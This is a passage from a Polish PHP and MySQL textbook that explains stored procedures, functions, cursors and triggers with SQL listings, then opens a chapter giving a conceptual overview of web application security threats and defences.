BEGIN
SELECT SUM(Wartosc) INTO SUMA FROM Zamowienia;
END
//

DELIMITER ;

Przeanalizujmy ten kod wiersz po wierszu.

Pierwsza instrukcja
DELIMITER //

zmienia znak końca wiersza z bieżącej wartości — zwykle średnika — na dwa znaki ukośnika.
Jest ona potrzebna, ponieważ znak średnika jest znacznikiem końca wiersza w kodzie procedury;
w przeciwnym razie MySQL próbowałby wykonać niekompletny kod procedury w czasie jego
wprowadzania.

Następny wiersz,
CREATE PROCEDURE Suma_zamowien (OUT Suma FLOAT)

rozpoczyna tworzenie procedury. Nazwą procedury jest Suma_zamowien. Posiada ona pojedynczy
parametr o nazwie Suma, który będzie zawierał obliczoną wartość. Słowo kluczowe OUT wskazuje,
że jest to parametr zwracany z funkcji.

Parametry mogą być również deklarowane jako IN, co oznacza, że wartości są przekazywane do
procedury, lub INOUT, co z kolei znaczy, że wartości są przekazywane do procedury, ale mogą być
przez nią zmieniane.

Słowo FLOAT oznacza typ parametru. W tym przypadku zwracana jest suma wszystkich zamówień
z tabeli Zamowienia. Typem kolumny Wartosc jest FLOAT, więc i typem zwracanej wartości musi być
FLOAT. Akceptowane typy danych muszą odpowiadać typom kolumn.

Jeżeli potrzebny jest więcej niż jeden parametr, można użyć listy parametrów rozdzielonej prze-
cinkami, identycznie jak w PHP.
Rozdział 13.  Zaawansowane programowanie w MySQL 319

Treść procedury znajduje się między instrukcjami BEGIN i END. Są one analogiczne do nawiasów
klamrowych w PHP ({}), ponieważ ograniczają blok instrukcji.

W treści procedury wykonujemy po prostu instrukcję SELECT. Jedyną różnicą w stosunku do zwy-
kłego zapytania jest użycie klauzuli INTO Suma, co pozwala załadować wynik zapytania do para-
metru Suma.

Po zadeklarowaniu procedury ustawiamy ponownie średnik jako znak zakończenia wiersza:


DELIMITER ;

Po zadeklarowaniu procedury można ją wywołać, korzystając ze słowa kluczowego CALL, jak poniżej:
CALL Suma_zamowien(@t);

Instrukcja ta powoduje wywołanie procedury i przekazanie do niej zmiennej, która ma przecho-


wywać wynik. Aby zobaczyć wynik, należy sprawdzić wartość zmiennej:
SELECT @t;

Wynik powinien być zbliżony do następującego:


+-----------------+
| @t |
+-----------------+
| 289.92001152039 |
+-----------------+
1 row in set (0.00 sec)

W sposób podobny do tworzenia procedury możemy utworzyć funkcję. Funkcja zwraca pojedynczą
wartość i pozwala na użycie tylko parametrów wejściowych.

Podstawowa składnia dla tego zadania jest niemal identyczna. Przykładowa funkcja jest zamiesz-
czona na listingu 13.2.

Listing 13.2. prosta_funkcja.sql — deklarowanie funkcji składowanej


# Najprostsza funkcja
DELIMITER //

CREATE FUNCTION Dodaj_podatek (Cena FLOAT) RETURNS FLOAT NO SQL


RETURN Cena*1.22;
//

DELIMITER ;

Jak widać, w przykładzie tym użyliśmy słowa kluczowego FUNCTION zamiast PROCEDURE. Występuje
również kilka innych różnic.

Parametry nie muszą być deklarowane jako IN lub OUT, ponieważ wszystkie są parametrami wej-
ściowymi, czyli IN. Po liście parametrów znajduje się klauzula RETURNS FLOAT. Określa ona typ
zwracanej wartości. I tutaj może być to jeden z dopuszczalnych typów MySQL.

Za klauzulą określającą typ wyniku znajdują się słowa kluczowe NO SQL. Określają one cechę danej
funkcji. W tym miejscu mogą się pojawić także inne zapisy, takie jak:
 DETERMINISTIC lub NOT DETERMINISTIC — funkcje deterministyczne w razie przekazywania
tych samych parametrów zawsze będą zwracać takie same wyniki.
320 Część II  Stosowanie MySQL

 NO SQL, CONTAINS SQL, READS SQL DATA lub MODIFIES SQL DATA — określają zawartość
funkcji. W kodzie powyższych funkcji nie są wykonywane żadne zapytania SQL,
dlatego został użyty zapis NO SQL.
 Komentarz zapisany pomiędzy znakami apostrofu (').
 Deklaracja używanego języka: LANGUAGE SQL.
 Frazy SQL SECURITY DEFINER oraz SECURITY INVOKER określają, czy należy używać
poziomu przywilejów użytkownika, który zdefiniował funkcję (zadeklarowanego
w funkcji), czy też użytkownika, który ją wykonuje.

Wspomnieliśmy o tych charakterystykach, gdyż jeśli jest włączone rejestrowanie operacji w binar-
nym pliku dziennika, to podczas definiowania funkcji konieczne będzie umieszczenie tu jednej
z fraz: DETERMINISTIC, NO SQL bądź też READS SQL DATA. Wynika to z tego, że funkcje, które zapisują
dane, mogą być niebezpieczne w kontekście odzyskiwania danych oraz replikacji bazy i dlatego nie
wolno ich stosować. (Więcej informacji na ten temat można znaleźć w dokumentacji MySQL).

Do zwracania wartości z funkcji służy instrukcja RETURN, podobnie jak w PHP.

Warto zwrócić uwagę na to, że w powyższej funkcji nie zostały zastosowane słowa kluczowe BEGIN
oraz END. Można by ich użyć, lecz w tym przypadku nie jest to konieczne. Podobnie jak w PHP, jeśli
blok kodu zawiera tylko jedną instrukcję, to oznaczanie jego początku i końca nie jest wymagane.

Wywołanie funkcji różni się od wywoływania procedury. Można wywoływać funkcję składowaną
w taki sam sposób jak funkcję wbudowaną. Na przykład:
SELECT Dodaj_podatek(100);

Instrukcja ta powinna zwrócić następujący wynik:


+--------------------+
| Dodaj_podatek(100) |
+--------------------+
| 122 |
+--------------------+

Po zdefiniowaniu procedur i funkcji można wyświetlić kod użyty do ich zdefiniowania za pomocą
następujących instrukcji:
SHOW CREATE PROCEDURE Suma_zamowien;

lub
SHOW CREATE FUNCION Dodaj_podatek;

Można usunąć procedurę


DROP PROCEDURE Suma_zamowien;

lub funkcję
DROP FUNCION Dodaj_podatek;

Procedury składowane pozwalają na stosowanie struktur sterujących, zmiennych, bloków DECLARE


(podobnych do wyjątków) oraz ważnego mechanizmu, który nosi nazwę kursorów. Każdy z wymie-
nionych tu mechanizmów jest opisany w osobnym punkcie.
Rozdział 13.  Zaawansowane programowanie w MySQL 321

Zmienne lokalne
Zmienne lokalne mogą być deklarowane wewnątrz bloku BEGIN...END przy użyciu instrukcji DECLARE.
Na przykład zmienimy funkcję Dodaj_podatek, aby korzystała ze zmiennej lokalnej do przecho-
wywania stopy podatku, co jest pokazane na listingu 13.3.

Listing 13.3. prosta_funkcja_ze_zmiennymi.sql — deklarowanie funkcji składowanej z użyciem zmiennych


# Prosta funkcja ze zmiennymi
DELIMITER //

CREATE FUNCTION Dodaj_podatek (Cena FLOAT) RETURNS FLOAT NO SQL


BEGIN
DECLARE Podatek FLOAT DEFAULT 0.10;
RETURN cena*(1+podatek);
END
//

DELIMITER ;

Jak widać, zmienne są deklarowane za pomocą słowa kluczowego DECLARE, po którym występują
nazwa zmiennej i jej typ. Klauzula DEFAULT jest opcjonalna i definiuje wartość domyślną zmiennej.
Następnie można korzystać z zadeklarowanej zmiennej w ogólnie przyjęty sposób.

Kursory i struktury sterujące


Przeanalizujmy bardziej złożony przykład. Napiszemy procedurę składowaną, która wyszukuje
zamówienie o największej wartości i zwraca wartość ZamowienieID (oczywiście, możemy to łatwo
obliczyć za pomocą jednego zapytania, ale ten przykład ma pokazać nam sposób użycia kursorów
i struktur sterujących). Kod tej procedury składowanej jest przedstawiony na listingu 13.4.

Listing 13.4. struktury_sterujace_kursory.sql — zastosowanie kursorów i pętli do przetwarzania zbioru


wynikowego
# Procedura wyszukująca identyfikator zamówienia o największej wartości.
# Może być to zrealizowane za pomocą funkcji max, ale procedura ma ilustrować
# zasady działania procedur składowanych.
delimiter //

CREATE PROCEDURE Najwieksze_zamowienie (OUT Id_najwiekszego INT)


BEGIN
DECLARE Biez_id INT;
DECLARE Biez_suma FLOAT;
DECLARE N_suma FLOAT DEFAULT 0.0;
DECLARE N_id INT;

DECLARE Gotowe INT default 0;


DECLARE C1 CURSOR FOR SELECT ZamowienieID, Wartosc FROM Zamowienia;
DECLARE CONTINUE HANDLER FOR SQLSTATE '02000' SET Gotowe = 1;

OPEN C1;
REPEAT
FETCH C1 INTO Biez_id, Biez_suma;
IF NOT Gotowe THEN
IF Biez_suma > N_suma THEN
SET N_suma=Biez_suma;
SET N_id=Biez_id;
END IF;
322 Część II  Stosowanie MySQL

END IF;
UNTIL Gotowe END REPEAT;
CLOSE C1;

SET Id_najwiekszego=N_id;
END
//

DELIMITER ;

W powyższym kodzie użyte są struktury sterujące (instrukcje warunkowe i pętle), kursory oraz
instrukcje obsługi. Przeanalizujmy ten przykład wiersz po wierszu.

Na początku procedury deklarujemy kilka roboczych zmiennych lokalnych. Zmienne Biez_id


i Biez_suma przechowują wartości ZamowienieID oraz wartości z bieżącego wiersza. Zmienne N_suma
oraz N_id przechowują największą wartość zamówienia i odpowiadający mu identyfikator. Ponieważ
wyszukujemy największą wartość, porównując wartości kolejnych zamówień z bieżącą największą
wartością, początkowo przypisujemy tej zmiennej wartość 0.

Następną deklarowaną zmienną jest Gotowe, która jest inicjowana wartością 0 (false). Zmienna
ta jest wykorzystywana jako znacznik pętli. Po wyczerpaniu wszystkich zmiennych przypisujemy
jej wartość 1 (true).

Kolejnym elementem powyższej procedury jest kursor. Kursor przypomina nieco tablicę i służy
do pobrania wyników zapytania (takich jak te zwracane przez funkcję mysqli_query()). Pozwala on
na przetwarzanie tych wyników wiersz po wierszu (podobnie jak w przypadku użycia funkcji
mysqli_fetch_row()). Poniżej przedstawiony został sposób tworzenia kursora:
DECLARE C1 CURSOR FOR SELECT ZamowienieID, Wartosc FROM Zamowienia;

Utworzony w ten sposób kursor nosi nazwę C1. Powyższy wiersz jest jedynie definicją tego, co
kursor będzie zawierać. Samo zapytanie nie zostanie jeszcze wykonane.

Kolejny wiersz:
DECLARE CONTINUE HANDLER FOR SQLSTATE '02000' SET Gotowe = 1;

jest nazywany deklaracją podprogramu obsługi. Jest on podobny do obsługi wyjątków w proce-
durach składowanych. Dodatkowo można także tworzyć podprogramy CONTINUE oraz EXIT. Pod-
program CONTINUE, który jest użyty w opisywanym kodzie, powoduje wykonanie zdefiniowanej akcji
i dalsze wykonywanie procedury. Podprogram obsługi EXIT kończy wykonywanie wykonywanego
bloku BEGIN...END.

Następna część deklaracji podprogramu obsługi określa moment jego wywołania. W tym przypadku
będzie on wywołany, gdy zostanie spełniony warunek SQLSTATE '02000'. Być może zastanawiasz
się, co on znaczy, ponieważ wygląda bardzo tajemniczo. Oznacza, że podprogram obsługi będzie
wywołany, gdy nie zostaną znalezione kolejne wiersze. Przetwarzamy zbiór wynikowy wiersz po
wierszu, a gdy wyczerpane zostaną wiersze do przetwarzania, wywołany zostanie podprogram
obsługi. Można również użyć tu frazy FOR NOT FOUND. Innymi możliwościami są SQLWARNING oraz
SQLEXCEPTION.

Następny wiersz,
OPEN C1;

powoduje właśnie wykonanie zapytania. Aby odczytać kolejne wiersze danych, należy skorzystać
z instrukcji FETCH. Wykonujemy to w pętli REPEAT. W tym przypadku pętla ta jest skonstruowana
w następujący sposób:
Rozdział 13.  Zaawansowane programowanie w MySQL 323

REPEAT
...
UNTIL Gotowe END REPEAT;

Zwróćmy uwagę, że warunek (UNTIL Gotowe) jest sprawdzany dopiero na końcu. W procedurach
składowanych można również korzystać z pętli WHILE, w postaci:
WHILE warunek DO
...
END WHILE;

Dostępne są również pętle LOOP, w postaci:


LOOP
...
END LOOP

Pętle te nie mają wbudowanego warunku, ale mogą być przerywane za pomocą instrukcji LEAVE.

Należy zwrócić uwagę, że nie są dostępne pętle FOR.

Kontynuując nasz przykład — kolejny wiersz kodu powoduje odczytanie wiersza danych:
FETCH C1 INTO Biez_id, Biez_suma;

Wiersz ten powoduje odczytanie danych z kursora zapytania. Wartości dwóch atrybutów odczyta-
nych przez zapytanie są zapisywane w podanych zmiennych lokalnych.

Następnie sprawdzamy, czy wiersz został odczytany, po czym, korzystając z dwóch instrukcji IF,
porównujemy bieżącą wartość z największą zapisaną wartością:
IF NOT Gotowe THEN
IF Biez_suma > N_suma THEN
SET N_suma=Biez_suma;
SET N_id=Biez_id;
END IF;
END IF;

Trzeba pamiętać, że wartości tych zmiennych są ustawiane za pomocą instrukcji SET.

Oprócz konstrukcji IF...THEN w procedurach składowanych można wykorzystywać również kon-


strukcję IF...THEN...ELSE, która ma następującą postać:
IF warunek THEN
...
[ELSEIF warunek THEN]
...
[ELSE]
...
END IF

Dostępna jest też instrukcja CASE, w następującej postaci:


CASE wartość
WHEN wartość1 THEN instrukcja
[WHEN wartość2 THEN instrukcja ...]
[ELSE instrukcja]
END CASE

Wracając ponownie do przykładu — po zakończeniu pętli wykonujemy operacje porządkujące:


CLOSE C1; SET Id_najwiekszego=N_id;
324 Część II  Stosowanie MySQL

Instrukcja CLOSE powoduje zamknięcie kursora.

Na koniec obliczoną wartość przypisujemy do parametru OUT. Nie można użyć parametru jako
zmiennej tymczasowej, a jedynie do zapisania końcowej wartości (jest to podejście podobne do
stosowanego w niektórych językach programowania, na przykład Ada).

Po utworzeniu tej procedury można ją wywołać w pokazany już wcześniej sposób:


CALL Najwieksze_zamowienie(@l);
SELECT @l;

Powinieneś otrzymać wynik podobny do następującego:


+------+
| @l |
+------+
| 3 |
+------+
1 row in set (0.00 sec)

Możesz samodzielnie sprawdzić, czy wynik obliczeń jest prawidłowy.

Wyzwalacze
Wyzwalacze to jak gdyby procedury składowane sterowane zdarzeniami albo, jeśli ktoś woli, wy-
wołania zwrotne. To kod skojarzony z konkretną tabelą, który jest wywoływany w momencie
wykonania na danej tabeli określonej akcji.

Poniżej przedstawiona została podstawowa postać wyzwalacza:


CREATE TRIGGER nazwa_wyzwalacza
{BEFORE | AFTER} {INSERT | UPDATE | DELETE} ON tabela
[kolejnosc]
FOR EACH ROW
BEGIN

END

Pierwszy wiersz określa nazwę tworzonego wyzwalacza. Połączenie określenia czasu (BEFORE
lub AFTER) oraz zdarzenia powodującego wykonanie wyzwalacza (zapytania INSERT, UPDATE lub
DELETE wykonanego na konkretnej tabeli) definiuje, kiedy kod wyzwalacza zostanie wykonany.

Opcjonalna klauzula kolejnosc pozwala na wykonanie więcej niż jednego wyzwalacza dla konkret-
nej kombinacji czasu i zdarzenia. Poniżej przedstawiony został format tej klauzuli:
{FOLLOWS | PRECEDES} inny_wyzwalacz

Kolejna klauzula, FOR EACH ROW, oznacza, że wyzwalacz należy wykonać dla każdego wiersza,
który został objęty efektami działania zapytania.

Przeanalizujmy teraz przykład prostego wyzwalacza, którego kod został zaprezentowany na


listingu 13.5.

Listing 13.5. wyzwalacz.sql — przed usunięciem zamówienia najpierw trzeba usunąć każdą z pozycji
zamówienia
# Przykład wyzwalacza

DELIMITER //
Rozdział 13.  Zaawansowane programowanie w MySQL 325

# Usuwa wiersze z tabeli Pozycje_zamowione przed usunięciem zamówienia


# w celu uniknięcia błędów integralności danych
CREATE TRIGGER Usun_pozycje_zamowione
BEFORE DELETE ON Zamowienia FOR EACH ROW
BEGIN
DELETE FROM Pozycje_zamowione WHERE OLD.ZamowienieID = ZamowienieID;
END
//

DELIMITER ;

Powyższy wyzwalacz jest wywoływany w momencie usuwania zamówienia. W przypadku gdy


z zamówieniem są powiązane jakieś rekordy w tabeli Pozycje_zamowione, próba usunięcia wiesza
z tabeli Zamowienia powoduje zgłoszenie błędu integralności odwołań. W takiej sytuacji należy
wcześniej usunąć z tabeli Pozycje_zamowione wszystkie rekordy wchodzące w skład usuwanego
zamówienia.

Jak widać, operacja ta jest wykonywana przed usunięciem rekordu z tabeli Zamowienia. Sam kod
umieszczony w ciele wyzwalacza usuwa z tabeli Pozycje_zamowione każdy wiersz zawierający
odpowiednią wartość w kolumnie ZamowienieID. W tym zapytaniu został użyty specjalny element
składni: słowo kluczowe OLD. Oznacza ono: „zastosuj wartość tej kolumny z chwili przed wykona-
niem zapytania”. Dostępne jest także słowo kluczowe NEW.

W celu przetestowania wyzwalacza przyjrzyjmy się zawartości tabeli Pozycje_zamowione przed


próbą usunięcia zamówienia:
+--------------+---------------+-------+
| ZamowienieID | ISBN | Ilosc |
+--------------+---------------+-------+
| 1 | 0-672-31697-8 | 2 |
| 2 | 0-672-31769-9 | 1 |
| 3 | 0-672-31509-2 | 1 |
| 3 | 0-672-31769-9 | 1 |
| 4 | 0-672-31745-1 | 3 |
| 5 | 0-672-31697-8 | 1 |
+--------------+---------------+-------+
6 rows in set (0.00 sec)

A teraz usuńmy zamówienie o identyfikatorze (ZamowienieID) 3:


DELETE FROM Zamowienia WHERE ZamowienieID=3;

Jeśli teraz sprawdzimy zawartość tabeli Pozycje_zamowione, przekonamy się, że zniknęły z niej
wszystkie wiersze, w których pole ZamowienieID miało wartość 3:
+--------------+---------------+-------+
| ZamowienieID | ISBN | Ilosc |
+--------------+---------------+-------+
| 1 | 0-672-31697-8 | 2 |
| 2 | 0-672-31769-9 | 1 |
| 4 | 0-672-31745-1 | 3 |
| 5 | 0-672-31697-8 | 1 |
+--------------+---------------+-------+
4 rows in set (0.00 sec)

To dosyć prosty, lecz bardzo użyteczny przykład.

Kolejnym często spotykanym zastosowaniem wyzwalaczy jest formatowanie danych oraz rejestro-
wanie danych do audytów, takich jak informacje o tym, jakie zmiany zostały wprowadzone w bazie,
kto ich dokonał i kiedy.
326 Część II  Stosowanie MySQL

Propozycje dalszych lektur


W tym rozdziale przedstawiliśmy zwięźle zakres funkcji oferowanych przez procedury składowane
i wyzwalacze. Więcej na ich temat można dowiedzieć się z podręcznika MySQL.

Więcej informacji na temat instrukcji LOAD DATA INFILE, pozostałych mechanizmów składowania
oraz procedur składowanych znajduje się w podręczniku MySQL.

Jeżeli chcesz się dowiedzieć więcej na temat transakcji i spójności bazy danych, sięgnij po wybraną
pozycję na temat podstaw baz danych, na przykład An Introduction to Database Systems, której
autorem jest C.J. Date.

W następnym rozdziale
Omówiliśmy już podstawy PHP oraz MySQL. W trzeciej części książki, „E-commerce i bezpie-
czeństwo”, przedstawione zostaną zagadnienia związane z bezpieczeństwem aplikacji interneto-
wych, na które należy zwracać uwagę podczas tworzenia i wykonywania tego typu aplikacji.
Część III
E-commerce
i bezpieczeństwo
328 Część III  E-commerce i bezpieczeństwo
Rozdział 14.  Zagrożenia bezpieczeństwa aplikacji internetowych 329

Rozdział 14.
Zagrożenia bezpieczeństwa
aplikacji internetowych
W tym rozdziale przyjrzymy się bezpieczeństwu w kontekście szerszego zagadnienia, jakim jest
zabezpieczanie całych aplikacji internetowych. Oczywiście każdą z części aplikacji trzeba będzie
zabezpieczyć na wypadek jej nieprawidłowego użycia (nieumyślnego lub celowego), jednak dodat-
kowo warto wypracować pewne strategie tworzenia aplikacji w sposób, który pozwoli zadbać o ich
bezpieczeństwo.

W tym rozdziale zostaną poruszone następujące zagadnienia:


 identyfikacja zagrożeń,
 identyfikacja napastników.

Identyfikacja zagrożeń
Na początku rozdziału przedstawione zostaną konkretne zagrożenia bezpieczeństwa występujące
w nowoczesnych aplikacjach internetowych. Pierwszym krokiem na drodze do stworzenia bez-
piecznej aplikacji internetowej jest zrozumienie natury zagrożeń, tak by można było wypracować
sposoby ochrony przed nimi.

Dostęp do wrażliwych danych


Jednym z zadań projektantów i programistów aplikacji internetowych jest zapewnienie, że
wszystkie dane powierzone przez użytkownika pozostaną bezpieczne, podobnie jak bezpieczne
pozostają dane powierzane przez inne instytucje. Jeżeli dane te są udostępniane użytkownikom
aplikacji internetowej, należy je udostępniać w taki sposób, że dany użytkownik będzie oglądał
wyłącznie te dane, do których posiada uprawnienia, a jednocześnie nie będzie miał dostępu do
analogicznych danych innych użytkowników.

Jeżeli implementowany jest system do składania zleceń giełdowych online albo wykonywania trans-
akcji walutowych, osoby trzecie mające dostęp do konta danego użytkownika mogłyby odczytać
jego numer identyfikacji podatkowej (NIP), dane dotyczące aktywów posiadanych przez użytkow-
nika i ich ilości, a w skrajnych przypadkach nawet dane jego rachunku bankowego.

Nawet udostępnienie tabeli imion i nazwisk oraz adresów użytkowników jest pogwałceniem zasad
bezpieczeństwa. Użytkownicy bardzo sobie cenią własną prywatność, a lista ich imion i nazwisk
wraz z adresami oraz dodatkowymi danymi marketingowymi (na przykład że wszystkie dziesięć
330 Część III  E-commerce i bezpieczeństwo

tysięcy osób znajdujących się na liście dokonały zakupów w sieciowym sklepie z wyrobami
tytoniowymi) jest bardzo łakomym kąskiem dla firm handlowych i marketingowych, które nie
przejmują się regułami.

Wszystkie takie zdarzenia są przykre i mogą mieć fatalne następstwa, istnieją jednak dwa rodzaje
zdarzeń, które występują bardzo często i nastręczają ogromnych problemów. Są to ujawnienie
numerów kart kredytowych oraz ujawnienie haseł.

Znaczenie numerów kart kredytowych jest oczywiste — każdy, kto dysponuje ważnymi numerami
kart kredytowych, nazwiskami ich właścicieli, datami wygaśnięcia kart itd., może z tych danych sko-
rzystać sam lub, co jest znacznie częstsze, może sprzedać je komuś, kto zaoferuje za nie wysoka
cenę.

Atrakcyjność haseł nie jest aż tak oczywista. Można by się zastanawiać, do czego przydadzą się
hasła, skoro napastnikowi udało się już uzyskać dostęp do atrakcyjnych danych w aplikacji.
Otóż hasła są atrakcyjne z tego względu, że użytkownicy lubią je stosować wielokrotnie — w róż-
nych witrynach. Istnieje zatem spora szansa na to, że nazwa użytkownika oraz hasło, którego
Janek Kowalski użył do założenia konta w witrynie służącej do udostępniania zdjęć, będą takie
same jak te, których używa do logowania się w witrynie banku.

W niektórych przypadkach inżynierowie wkładają bardzo dużo wysiłku w zabezpieczenie oczy-


wistych informacji osobowych, lecz pomijają możliwość uzyskania dostępu do innych, bardziej
subtelnych informacji. Jednym z przykładów takiego działania, które pojawiło się kilka razy
w przeszłości, jest udostępnianie przez firmy innym osobom plików dzienników w celach badaw-
czych lub w celu pozyskania danych.

Takie dane z codziennego działania aplikacji bądź serwerów mogą być źródłem wielu interesujących
informacji. Jeśli z takimi dziennikami będą skojarzone adresy IP, to bez trudu będzie można zidenty-
fikować wzorce działania konkretnych użytkowników i w miarę precyzyjnie odgadnąć ich lokali-
zację. Jeżeli pliki dzienników serwera zawierają adresy URL, a tak właśnie jest zazwyczaj, to
adresy te mogą zawierać nazwy użytkowników, hasła oraz informacje o punktach końcowych
(potencjalnie prywatnych) dostępnych w danej witrynie.

Nie trzeba chyba tłumaczyć, że ujawnienie jakichkolwiek informacji tego typu jest związane
z utratą reputacji firmy, co prowadzi do utraty klientów, którzy boją się zaufać firmie mającej
problemy z zapewnieniem bezpieczeństwa danych.

Ograniczanie ryzyka
Aby zminimalizować ryzyko ujawnienia poufnych informacji, należy ograniczyć sposoby uzy-
skiwania do nich dostępu oraz określić grupę osób uprawnionych do ich przeglądania. Wiąże się
z tym zaprojektowanie systemu w stosowny sposób, właściwe skonfigurowanie serwera, napisanie
odpowiedniego oprogramowania, przetestowanie wszystkich składników systemu, usunięcie niepo-
trzebnych usług serwera WWW oraz wykorzystanie mechanizmu uwierzytelniania.

Należy z dużą uwagą projektować, konfigurować, implementować i testować system, dzięki czemu
możliwe będzie zmniejszenie ryzyka włamania i, co równie ważne, ograniczenie prawdopodobień-
stwa wystąpienia błędu, który mógłby doprowadzić do ujawnienia przechowywanych informacji.

Należy usunąć niepotrzebne usługi serwera WWW, aby zmniejszyć liczbę potencjalnych słabych
punktów systemu. Każda z udostępnianych usług może mieć swoje słabe miejsca, dlatego też należy
regularnie uaktualniać oprogramowanie w celu ich eliminacji. Poważne niebezpieczeństwo sta-
nowią zwłaszcza usługi, które w ogóle nie są używane. Jeśli nie przewiduje się wykonywania
Rozdział 14.  Zagrożenia bezpieczeństwa aplikacji internetowych 331

polecenia rcp, to po co w ogóle tę usługę instalować1? W przypadku instalowania systemu Linux


lub Windows NT jako systemu serwera sieciowego zostanie do niego dołączony cały zestaw
usług, z których większość nie będzie wykorzystywana. Należy je zatem usunąć.

Uwierzytelnianie oznacza konieczność potwierdzenia przez użytkownika swojej tożsamości. Mając


dane na temat tożsamości użytkownika zgłaszającego żądanie, system może zadecydować
o udzieleniu mu, lub odmowie, dostępu do zasobów. Opracowano wiele metod uwierzytelniania,
w praktyce jednak wykorzystuje się tylko dwie z nich: hasło dostępu lub podpis cyfrowy. Więcej
informacji na ten temat można znaleźć w dalszej części rozdziału.

Ryzyko ujawnienia danych istnieje również w przypadku przesyłania ich w sieci. Protokół TCP/IP
posiada wiele cech, dzięki którym stał się standardem łączącym różne rodzaje sieci w jeden wielki
twór — internet, jednak bezpieczeństwo nie jest jego mocną stroną. Działanie TCP/IP opiera się
na dzieleniu przesyłanych danych na części zwane pakietami, które następnie są przekazywane
od jednego komputera do drugiego do momentu, gdy dotrą do miejsca przeznaczenia. Oznacza to,
że dane przechodzą przez wiele różnych komputerów (zobacz rysunek 14.1). Każdy z nich mógłby
posłużyć do podejrzenia przesyłanych za jego pośrednictwem informacji.

Rysunek 14.1.
Transmisja danych
w internecie polega
na przesyłaniu ich
za pośrednictwem wielu
różnych komputerów,
które mogą nie być
godne zaufania

W celu prześledzenia drogi, jaką przebywają dane wysłane z określonej maszyny, można użyć
polecenia traceroute (w systemie Unix). Komenda ta spowoduje wypisanie adresów wszystkich
komputerów, przez które będą przechodzić pakiety danych, zanim dotrą do komputera docelowego.
Jeśli maszyna docelowa znajduje się w tym samym kraju, pakiety te przejdą przez około 10 kompu-
terów pośredniczących. W przypadku gdy komputer docelowy jest zlokalizowany poza grani-
cami kraju, przesyłanie danych może odbywać się za pośrednictwem nawet 20 maszyn. Jeśli firma
posiada rozległą i skomplikowaną sieć komputerową, to wysłane z niej dane mogą przejść przez
5 innych maszyn, zanim w ogóle zostaną wysłane na zewnątrz budynku przedsiębiorstwa.

Ataki polegające na odczytaniu lub modyfikacji danych w trakcie ich przesyłania siecią są nazywane
atakami typu „man in the middle” (w skrócie: MITM).

W celu zabezpieczenia poufnych informacji można je zaszyfrować przed wysłaniem i odszyfrować


na komputerze docelowym. Serwery WWW używają do tego protokołu SSL (Secure Socket Layer),
zabezpieczając w ten sposób transmisję danych pomiędzy serwerem a przeglądarką. Jest to niezbyt
kosztowna i wymagająca niewielkiego nakładu pracy metoda ochrony przesyłanych informacji,
jednak wykonywanie przez serwer dodatkowych operacji, polegających na szyfrowaniu danych
wychodzących i rozszyfrowywaniu danych przychodzących, powoduje, że liczba użytkowników,
jaka w tym czasie może zostać obsłużona, się zmniejsza.

1
Nawet jeśli usługa rcp jest używana, to lepszym rozwiązaniem będzie jej usunięcie i zainstalowanie w jej miejsce
bezpieczniejszej usługi scp.
332 Część III  E-commerce i bezpieczeństwo

Modyfikacje danych
Całkowita utrata danych pociąga za sobą trudne do przewidzenia konsekwencje, jednak modyfi-
kacje istniejących danych mogą stanowić jeszcze większe zagrożenie. Co może się stać, gdy ktoś
niepowołany uzyska dostęp do systemu i dokona zmian w plikach? Usunięcie dużej ilości danych
zostanie zapewne szybko zauważone i dzięki kopiom zapasowym będzie możliwe ich odzyskanie.
Ile jednak czasu minie, zanim ktokolwiek zorientuje się, że dane uległy modyfikacji?

Modyfikacje plików mogą dotyczyć plików z danymi lub plików wykonywalnych. Motywem
działania napastnika może być chęć zostawienia własnego znaku na stronie internetowej lub
zdobycie informacji w celu dokonania oszustwa. Zastąpienie któregoś z plików wykonywalnych
jego odpowiednio zmodyfikowaną wersją może umożliwić włamywaczowi nieograniczony dostęp
do systemu w przyszłości bądź też stanowić furtkę do uzyskania w systemie znacznie szerszych
uprawnień.

Jedną z metod zabezpieczenia się przed modyfikacją danych przesyłanych w sieci jest obliczanie
ich sumy kontrolnej. Co prawda nie uniemożliwi to dokonania zmian przez kogoś nieuprawnione-
go, jednak osoba, dla której dane te są przeznaczone, może łatwo sprawdzić, czy uległy one modyfi-
kacji, wyliczając nową sumę kontrolną i porównując ją z sumą kontrolną danych oryginalnych.
Zaszyfrowanie danych również utrudni dokonanie w nich jakichkolwiek zmian, gdyż znacznie
trudniej będzie je niepostrzeżenie zmodyfikować.

W celu ochrony plików przechowywanych na serwerze przed ewentualnymi zmianami ich zawar-
tości należy wykorzystać możliwość nadawania uprawnień, udostępnianą przez system opera-
cyjny, i zabezpieczyć sam system przed dostępem z zewnątrz. Nadając odpowiednie prawa dostępu,
można zezwolić użytkownikowi na korzystanie z zasobów systemu, ograniczając mu jednocześnie
możliwość dokonywania w nim zmian czy też modyfikacji plików należących do innych użytkow-
ników.

Wykrycie dokonanych zmian jest bardzo trudne. Jeśli w którymś momencie dojdziemy do wnio-
sku, że zabezpieczenia systemu zostały złamane, to skąd wiadomo, czy zmianom nie uległy ważne
pliki? Przecież niektóre pliki, jak choćby te wykorzystywane przez bazy danych do przechowy-
wania zawartości tabel, zmieniają się niemal co chwila. Inne z kolei pozostają niezmienione przez
cały okres od momentu ich zapisania na dysku, chyba że celowo zostały uaktualnione. Zarówno
dane, jak i programy mogą zostać podstępnie zmienione, o ile jednak programy można zainstalować
na nowo, o tyle w przypadku plików z danymi nigdy nie ma pewności, która wersja jest „czysta”.

Narzędzia służące do analizy integralności plików, takie jak Tripwire, zapisują informacje na
temat ważnych plików zaraz po ich instalacji. Informacje te mogą być później wykorzystane do
sprawdzenia, czy pliki te nie uległy zmianie.

Utrata lub zniszczenie danych


Zdarzeniem równie dramatycznym jak udostępnienie poufnych danych osobom niepowołanym
jest utrata części danych. Jeżeli komuś uda się usunąć tabele z bazy danych, konsekwencje tego
zdarzenia dla prowadzonej działalności biznesowej mogą być tragiczne i nieodwracalne. Jeśli
bank wyświetla w sieci informacje o stanie konta i nagle w jakiś sposób wszystkie informacje na
temat danego konta zostaną utracone, reputacja banku natychmiast legnie w gruzach. Co gorsza,
jeżeli usunięta zostanie cała tabela z danymi użytkowników, rekonstrukcja baz danych i odtworzenie
stanu posiadania poszczególnych klientów będzie trwać bardzo długo.
Rozdział 14.  Zagrożenia bezpieczeństwa aplikacji internetowych 333

Należy w tym miejscu zaznaczyć, że przyczyną utraty lub zniszczenia danych nie musi być wcale
nieprawidłowe lub bezprawne użycie systemu. Jeżeli na przykład spłonie budynek, w którym
znajdują się serwery systemu, a wraz z nim wszystkie dyski twarde, będzie to oznaczać utratę
